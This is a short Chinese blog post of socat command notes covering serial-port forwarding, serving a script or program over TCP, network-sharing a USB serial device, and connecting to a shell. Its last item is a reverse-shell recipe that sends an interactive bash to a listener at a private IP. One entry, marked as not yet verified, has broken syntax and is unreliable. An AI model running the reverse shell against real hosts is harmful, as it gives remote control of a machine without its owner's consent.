抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Sephiroth1s'blog

The quieter you became,the more you are able to hear.

1、socat 转发串口终端到远程 ip

# 转发到远程服务器的指定端口
sudo socat /dev/ttyS0 TCP:192.168.10.3:20108
# 监听所有传入地址的本地端口
sudo socat /dev/ttyS0,raw,echo=0 TCP4-LISTEN:8080,reuseaddr,fork

2、当作临时的 web 服务器

将来数据流和执行的程序 stdio 输出连接到一起

# 连接后执行shell脚本
socat TCP-LISTEN:8080,reuseaddr,fork SYSTEM:"python3 web.py"
# 连接后执行指定程序
socat TCP-LISTEN:80,fork EXEC:./your_c_program

//待详细验证
2、将 U 盘进行网络共享

socat -d -d /dev/ttyUSB 1,raw,nonblock,ignoreeof,cr,echo=0 TCP 4-LISTEN:5555,reuseaddr

3、连接到服务器的 7005 端口,即可获得一个 Shell。readline 是 GNU 的命令行编辑器,具有历史功能。

socat readline tcp:127.0.0.1:7005

4、反弹一个交互式的 Shell
当有主机连接服务端的 7005 端口时,将会发送客户端的 Shell 给服务端。

服务端

socat -,raw,echo=0 tcp-listen:7005

客户端

socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane